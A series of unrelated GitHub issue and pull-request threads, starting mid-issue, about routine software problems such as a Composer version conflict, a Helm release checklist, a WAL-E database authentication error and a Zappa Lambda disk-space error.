Run the feature file so that a report will be generated.
Look at the report and find out if the additional description is parsed in one line of over multiple lines.

Expected behavior
Additional description over multiple lines instead of one big line.
Desktop (please complete the following information):

OS: macOS
Browser firefox
Version 95.0.2

Slack discussion
https://cucumberbdd.slack.com/archives/C60TKS3SL/p1641377945383500

Descirptions are treated as Markdown by the HTML formatter, and in Markdown single line breaks are expressed as two spaces at the end of a line: https://spec.commonmark.org/0.30/#hard-line-breaks
However, editors have a tendency to trim the space at the end of lines in a feature file, so this can make it hard for people to write it this way.
TBA how we address this.

Indeed the editor has trimmed the two spaces at the end of the line. So, not a bug but a formatting thing in the editor.

Which editor out of interest @derfischmeister?

IntelliJ

Same! Thanks.

Raised this with JetBrains FWIW https://youtrack.jetbrains.com/issue/IDEA-286738


Broken link for presentation slides on the wiki

https://github.com/madisongh/meta-tegra/wiki/Using-gcc7-from-the-contrib-layer refers to some slides from the 2019 Yocto dev summit, but I was only able to find an abstract there, not the slides. I believe the slides themselves can be found here: https://wiki.yoctoproject.org/wiki/images/4/43/Yocto-dev-summit-leon-anavi-2019.pdf

Never mind, I see that the word "slides" at the very end of the bibliography is a separate hyperlink.


Composer install failed due to dependency requirements

Environment:
laravel 5.4.36
php 7.1
mongodb/mongodb 1.1.2
jenssegers/mongodb v3.2.3
Reproduction:
composer require jenssegers/mongodb:3.3.1
Output:
Problem 1
- Installation request for jenssegers/mongodb 3.3.1 -> satisfiable by jenssegers/mongodb[v3.3.1].
- Conclusion: remove laravel/framework v5.4.36
- Conclusion: don't install laravel/framework v5.4.36
- jenssegers/mongodb v3.3.1 requires illuminate/events ^5.5 -> satisfiable by illuminate/events[v5.5.0, v5.5.16, v5.5.17, v5.5.2].
- don't install illuminate/events v5.5.0|don't install laravel/framework v5.4.36
- don't install illuminate/events v5.5.16|don't install laravel/framework v5.4.36
- don't install illuminate/events v5.5.17|don't install laravel/framework v5.4.36
- don't install illuminate/events v5.5.2|don't install laravel/framework v5.4.36
- Installation request for laravel/framework (locked at v5.4.36, required as 5.4.*) -> satisfiable by laravel/framework[v5.4.36].
Description:
Well, seems like the latest package doesn't support laravel 5.4 anymore.

indeed: https://github.com/jenssegers/laravel-mongodb/pull/1300/files#diff-b5d0ee8c97c7abd7e3fa29b9a27d1780R17

@D3nnisH Any plan to fix?

This cannot be "fixed" in code, the only 2 possible fixes are:

upgrading to Laravel 5.5
staying at jenssegers/mongodb v3.2.3 or below

@D3nnisH Ok, good to know. But can you highlight this significant breaking change on the main description page? So people can see it straight away.

Intended breaking change, no need for fix.

someone already had this idea :smirk:  https://github.com/jenssegers/laravel-mongodb/pull/1364/files


Vote of no confidence

If one of the contributors loses confidence in the team being funded this can be used.

New Config associated types namely: [ NoConfidenceTimeLimit, PercentRequiredForVoteToPass ]
3 new extrinsics namely : [ finalise_no_confidence_round, vote_on_no_confidence_round, raise_vote_of_no_confidence ].
started adding documentation to Errors however i thought this is better off in its own branch.
fixed a bug in the contribute method where a duplicate round was overriding the latest VoteOfNoConfidence round.
reduced the update functions to :
 Struct { newval, ..project. }
It's a nice clean way of doing things.

However benchmarking currently needs a lot of work alas i have not written the benchmark as testing it would require fixing the file.
Also, the current implementation states that if someone has voted, they cannot vote again, regardless of additional contributions thereafter. Wether this is required can be discussed here.

This is great, ill give it a test after i set up the sale!


QG 4 checks (Release 3.2)

QG checks
Please keep this issue open until QG 4 is concluded and will be managed by the Issue Creator!
We will inform you about finding and proposals in separated issues, this issue here is for the Overview of the Checks!
Please keep this issue open until QG 4 is concluded!
Product Name: Item Relationship Service
Product Owner: Steffen Düring BMW  https://github.com/SteDue
Dev SPOC: @ds-jhartmann
Helm Chart Version: 6.4.0
App Version: 3.3.2
QG5 Approval: yes/no
Check of Tractus-X Release Guidelines
This QG x Check is depending on the mandatory information from our current Release Guidelines.
TRG 1 Documentation

[x] TRG 1.01 appropriate README.md
[x] TRG 1.02 appropriate INSTALL.md
[x] TRG 1.03 appropriate CHANGELOG.md

TRG 2 Git

[x] TRG 2.01 default branch is named main

[x] TRG 2.03 repository structure

Checks within TRG 2.03

[x] TRG 2.03 /docs directory contains detailed product related documentation for the Tractus-X product
[x] TRG 2.03 /charts directory contains the Helm chart for the Tractus-X product IF available
[x] TRG 2.03 AUTHORS.md file (optional) (TRG 2.03)
[x] TRG 2.03 CODE_OF_CONDUCT.md file (TRG 2.03)
[x] TRG 2.03 CONTRIBUTING.md file (TRG 2.03)
[x] TRG 2.03 DEPENDENCIES file(s) with up to date content (Dash tool generated) (TRG 2.03)
[x] TRG 2.03 LICENSE file (TRG 2.03)
[x] TRG 2.03 NOTICE.md file (TRG 2.03)
[x] TRG 2.03 SECURITY.md file (TRG 2.03)

[x] TRG 2.04 Leading product repository

Checks within TRG 2.04

[x] TRG 2.04 repository name must be productname without prefix or suffix
[x] TRG 2.04 should contain the release
[x] TRG 2.04 references/urls to the product's other repositories
[x] TRG 2.04 might contain product helm chart(s)
[x] TRG 2.04 README.md: contains the urls for the underlying applications

[x] TRG 2.05 .tractusx metafile in a proper format

TRG 3 Kubernetes

[x] TRG 3.02 PersistentVolume and PersistentVolumeClaim is used when needed

TRG 4 Container

[x] TRG 4.01 semantic versioning and tagging

[x] TRG 4.02 top level README.md file, that contains information about the used base image

[x] TRG 4.03 Non-root container

Checks within TRG 4.03

[x] TRG 4.03 Image has USER command and Non Root Container
[x] TRG 4.03 deployment.yaml has runAsUser and allowPrivilegeEscalation: false properly set

[x] TRG 4.05 released image must be place DockerHub as mandatory container registry; remove GHCR references

[x] TRG 4.06 Notice File for DockerHub has all necessary information

Checks within TRG 4.06

[x] TRG 4.06 Link to the source of your base image (Container registry and GitHub if available)
[x] TRG 4.06 Link to your product image on DockerHub
[x] TRG 4.06 Link to your repository on GitHub
[x] TRG 4.06 Direct link to the Dockerfile used to build your image
[x] TRG 4.06 Link to LICENCE file in your repo as Project License (make clear, that this is the PROJECT licence, not an image license

TRG 5 Helm

[x] TRG 5.01 Helm chart must be released

Checks within TRG 5.01

[x] TRG 5.01 appropriate semantic versioning for version and appVersion has to be used in Chart.yaml
[x] TRG 5.01 must not contain any environment specific values-xyz.yaml
[x] TRG 5.01 values.yaml file must contain proper default values/placeholders
[x] TRG 5.01 No hostname provided for ingress
[x] TRG 5.01 Ingress is disabled
[x] TRG 5.01 No references to any secret engine service (e.g.: Hashicorp Vault)
[x] TRG 5.01 Dependencies should be prefixed with the nameOverride and/or fullnameOverride properties
[x] TRG 5.01 Image tag is set to the Chart.yaml appVersion property
[x] #146
[x] TRG 5.01 dependencies have to be declared in Chart.yaml NOT requirements.yml

[x] TRG 5.02 Helm chart location in /charts directory and correct structure

Checks within TRG 5.02

[x] TRG 5.02 each file must contain the Apache 2.0 Licence
[x] #147
[x] TRG 5.02 latest tag is not used in helm chart be default

charts/
    chartNameA/
      Chart.yaml
      ...
    chartNameB/
      Chart.yaml
      ...
AUTHORS.md
DEPENDENCIES.md
LICENCE
README.md

[x] TRG 5.04 CPU and memory limits and requests are properly set

[x] TRG 5.06 application must be configurable through the Helm chart

[x] TRG 5.07 dependencies are present in the Chart.yaml they are properly configured

[x] TRG 5.08 a product has a single deployable helm chart that contains all components

Checks within TRG 5.08

[x] TRG 5.08 name of the Chart should be just the product-name without prefix or suffix
[x] TRG 5.08 values file should contain all available variables (even from subcharts) with default values and comments about what they do
[x] TRG 5.08 helm install command should successfully install the chart to any supported Kubernetes version cluster (without overwriting default values)
[x] TRG 5.08 helm test runs without errors

[x] TRG 5.09 Helm Test running properly

Checks within TRG 5.09

[x] TRG 5.09 A GitHub action exist which builds or uses the helm chart which gets released
[x] TRG 5.09 The GitHub action can be triggered manually through Github WebUI manually running a workflow
[x] TRG 5.09 Helm test verifies that the application is up and running

[x] TRG 5.10 Products need to support 3 versions at a time

Checks within TRG 5.10

[x] TRG 5.10 latest (K8s version 1.25)
[x] TRG 5.10 latest - 1 (K8s version 1.24)
[x] TRG 5.10 latest - 2  (K8s version 1.23)

[x] TRG 5.11 Upgradeability PRERELEASE

Checks within TRG 5.11

[x] TRG 5.11 Based on the Helm test workflow, you must provide a GitHub action which takes the latest released helm chart, does an installation of it and then execute the upgrade to the current / new version.

TRG 6 Released Helm Chart

[x] TRG 6.01 Released Helm Chart

TRG 7 Open Source Governance

[x] TRG 7.01 Legal Documentation

[x] TRG 7.02 License and copyright header

[x] TRG 7.03 IP checks for project content

[x] TRG 7.04 IP checks for 3rd party content

Checks within TRG 7.04

[x] TRG 7.04 DEPENDENCIES file is up-to-date and reflects the current use of the 3rd party content
[x] TRG 7.04 all libraries listed there should have the status "approved"
[x] TRG 7.04 no libraries with status "rejected"
[x] TRG 7.04 for libraries with status "restricted", the according IP issues must be present (issue number in the source column)

[x] TRG 7.05 Legal information for distributions https://github.com/eclipse-tractusx/item-relationship-service/issues/152

[x] TRG 7.06 Legal information for end user content

[x] TRG 7.07 Legal notice for documentation https://github.com/eclipse-tractusx/item-relationship-service/issues/153

Hints
Information Sharing

Hi @mkanal ! Please fill the following info in the issue description:

Product Owner
Dev SPOC
Helm Chart Version

Hi @almadigabor

Hi @ds-jhartmann! All issues are resolved, great work! Please let me know the final app and helm chart version that I can report.

Got info that a new release is planned with version 3.3.4, I'll wait for that before approval.

Release  version 3.3.4 covering this is provided today.

Hi @almadigabor, final IRS release 3.3.4 as well as irs-helm-6.4.2 was just published.


CentOS

Using wal-e 1.0.0b1, virutalenv with python 3.4 on CentOS 6.6. The psql command can be run no problem from the same command line. Any idea what I am missing or what I broke? This is my first attempt at installing this on CentOS 6.6.
wal_e.main   INFO     MSG: starting WAL-E         DETAIL: The subcommand is "backup-push".         STRUCTURED: time=2016-09-16T18:04:05.913767-00 pid=3124 psql: fe_sendauth: no password supplied wal_e.main   ERROR    MSG: could not run one or more external programs WAL-E depends upon         DETAIL: Could not get a connection to the database: note that superuser access         is required         Could not run the following programs, are they installed? psql         STRUCTURED: time=2016-09-16T18:04:05.968915-00 pid=3124

Needed to update access for the postgres user in pg_hba.conf. Fixed. Thanks.

Thanks for writing in. Your writing maybe useful for a future searcher, someday.


New linter: SublimeLinter-contrib-ghdl

This provides an interface to the ghdl VHDL simulator to check for error in VHDL code:
https://github.com/BrunoJJE/SublimeLinter-contrib-ghdl

See comments in #232.

Modification done.
Tag 1.0.0 added.

https://github.com/SublimeLinter/package_control_channel/commit/bb7102f128f77568e5c59a09eae8e78718acf973
Thanks!


Are the Info and Activity tabs unnecessary when viewing a single ERC1155 token instance?

ERC721 assets list
single token

ERC1155 assets list
single token

In the 4th, is the info and Activity tabs unnecessary?

firstly it was implemented in erc721, and design didn't contain it, that isn't problem, we can add it.

Yeah. I think we should remove them. It’s in the previous screen already right?

a little bit confused, do you want to remove pages or add them for erc1155?

ok, sure


Disable checks on the GCC polyfill for now.

Current coverage is 83.38% (diff: 100%)

No coverage report found for master at 6bda253.

Powered by Codecov. Last update 6bda253...6a7d57c


drop unused python2 pkg-config files

What does this PR do?
Drop unused python2 pkg-config files.
Motivation
We don't use those, so there's no reason to keep a directory for them at the root of the repo
Describe how to test/QA your changes
Possible Drawbacks / Trade-offs
Additional Notes

/merge


process for rebuilding all effective docs when boostbook changes

When someone renders asciidoctor docs, the boostlook.css file contents need to be inserted. This is accomplished by passing the right command line argument to the asciidoc tool, as shown here:
https://github.com/vinniefalco/mp11/blob/develop/doc/Jamfile#L13
When someone renders antora docs, the same thing should happen. The boostlook.css file contents should be inserted into the resulting HTML
The website injects the header when it serves documentation. And we should modify the asciidoc and antora build process so that the resulting HTML has a hint to where the website should insert the header

@rbbeeston Can this be closed now that we have our boostlook actions workflow updating v2 and v2-docs?

already resolved


Related entities tooltip

Added tooltips to all action buttons on related and inline-related entities in record app
In app.css added a class to remove the bottom border of these buttons with tooltips
Added test cases to check these tooltips

I know that you just changed it to table.name but please change it to table.displayname. name attribute is supposed to be used internally. We should show the displayname to users.
As for why reference.displayname and table.displayname could be different, the heuristic for getting the displayname of related entities is as follows:
For pure and binary association,

Use the to_name defined on the fk from association table to related table, if defined.
Otherwise use the related table displayname.

For other related references,

Use the from_name that is defined on the fk from main table to related table, if defined.
Otherwise use the related table displayname.

Although in this case we're using $rootScope.reference.displayname which is the displayname of the main reference and not the related table. Based on the current heuristics this should always be the same as table.displayname. But I agree with @jrchudy. If we want to show the table displayname and don't care about the reference, it's better to use the table.displayname. We might later change the reference.displayname to return something else.

Based on the discussion that we have, we decided to always use the uib-tooltip-html and if each of the displaynames are not html (isHTML == false) we should just escape html character to make sure we're not encoding unwanted HTML tags. You can use this function for escaping HTML.

I have changed the buttons to have uib-tooltip-html and if isHTML is false then I have sanitized the string.


OSError: [Errno 28] No space left on this device on slim_handler=true

Context
When uploading my zipped lambda package with zappa, I get a 'no space left on this device' error after calling zappa tail

This is a fairly large project, so it is totally reasonable that Lambda might not be the best fit for it. I need tensorflow dependencies as well as a fairly large model.
My total unzipped files are 498 MB (very close to 512 MB).
When zappa zips up everything it comes out to 213 MB for the project zip (unzipped is 492 MB) and 9.2 MB for the handler zip (unzipped is 47 MB).
While I know that 492 is cutting it very close to the 512 /tmp limit, it doesn't go over it...unless the 47 MB from the handler is counted in that as well...
Expected Behavior
Should be able to upload files in their entirity
Actual Behavior
I get this error when visiting the lambda URL:
"{'message': 'An uncaught exception happened while servicing this request. You can investigate this with the `zappa tail` command.', 'traceback': ['Traceback (most recent call last):\\n', '  File \"/var/task/handler.py\", line 433, in handler\\n    response = Response.from_app(self.wsgi_app, environ)\\n', '  File \"/var/task/werkzeug/wrappers.py\", line 903, in from_app\\n    return cls(*_run_wsgi_app(app, environ, buffered))\\n', '  File \"/var/task/werkzeug/wrappers.py\", line 57, in _run_wsgi_app\\n    return _run_wsgi_app(*args)\\n', '  File \"/var/task/werkzeug/test.py\", line 884, in run_wsgi_app\\n    app_rv = app(environ, start_response)\\n', \"TypeError: 'NoneType' object is not callable\\n\"]}"

and when looking through the tail log i get the OSError in the title.
Possible Fix

Steps to Reproduce

unzip the directory i link below, cd into it, activate the virtual environment (venv) and deploy with zappa.

Your Environment

Zappa version used: 0.42.2
Operating System and Python version: Mac OS 10.12.5, python3.6
The output of pip freeze:

argcomplete==1.8.2
backports.weakref==1.0rc1
base58==0.2.4
bleach==1.5.0
boto3==1.4.4
botocore==1.5.40
certifi==2017.4.17
chardet==3.0.4
click==6.7
docutils==0.13.1
durationpy==0.4
Flask==0.12.2
future==0.16.0
futures==3.1.1
hjson==2.0.7
html5lib==0.9999999
idna==2.5
itsdangerous==0.24
Jinja2==2.9.6
jmespath==0.9.3
kappa==0.6.0
lambda-packages==0.15.1
Markdown==2.2.0
MarkupSafe==1.0
numpy==1.13.0
placebo==0.8.1
protobuf==3.3.0
python-dateutil==2.6.0
python-slugify==1.2.4
PyYAML==3.12
requests==2.18.1
s3transfer==0.1.10
six==1.10.0
tensorflow==1.2.0
toml==0.9.2
tqdm==4.14.0
troposphere==1.9.4
Unidecode==0.4.20
urllib3==1.21.1
Werkzeug==0.12
wsgi-request-logger==0.4.6
zappa==0.42.2

Link to your project (optional): Link to zipped directory:  https://drive.google.com/file/d/0B7qP_oLCzzHeVjBscWwzV0NkeE0/view?usp=sharing
Your zappa_settings.json:

{
    "dev": {
        "app_function": "predict.app",
        "profile_name": "default",
        "s3_bucket": "zappa-gpmb4b44m",
        "runtime": "python3.6",
        "slim_handler": true,
        "aws_region": "us-west-2",
        "use_precompiled_packages": true,
        "memory_size": 1024
    }
}

duplicate of this? https://github.com/Miserlou/Zappa/issues/881

Kinda. i am not sure what the recommended fix is for re issue #881

Yea that is likely the same issue. If you want to take a stab at doing a streaming unzip it might fit, but that still looks pretty close to the limit.

Closing due to gzip streaming approach.